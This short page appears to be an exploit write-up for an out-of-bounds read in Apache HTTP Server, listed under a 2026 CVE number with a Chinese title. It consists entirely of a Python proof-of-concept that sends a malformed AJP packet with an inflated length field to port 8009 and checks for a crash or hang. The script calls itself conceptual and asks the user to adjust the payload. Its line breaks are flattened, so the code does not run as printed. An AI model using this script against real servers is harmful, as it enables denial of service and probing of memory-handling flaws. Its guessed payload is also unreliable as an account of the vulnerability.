CVE-2026-33857 Apache HTTP Server越界读取漏洞

import socket import struct # Target configuration TARGET_HOST = "127.0.0.1" TARGET_PORT = 8009 # Default AJP port def create_malformed_ajp_packet(): """ Creates a malformed AJP packet to trigger the Out-of-bounds Read. Note: This is a conceptual PoC. Adjust payload based on specific vulnerability details. """ magic = b'\x12\x34' # Simulating a packet with a length that might cause OOB read # Example: Sending a forward request with invalid attributes data = b'\x02\x02\x00\x0C\x03\x00\x0F localhost\x00\x0F /index.jsp\x00\x00' # Intentionally setting a length larger than actual data to test bounds length = struct.pack('>H', 0xFFFF) return magic + length + data def send_poc(): try: print(f"[*] Sending PoC to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) payload = create_malformed_ajp_packet() s.send(payload) # Wait for response or timeout s.settimeout(2) response = s.recv(4096) if response: print("[+] Received response from server.") else: print("[-] No response received (possible crash or hang).") s.close() print("[*] PoC execution finished.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": send_poc()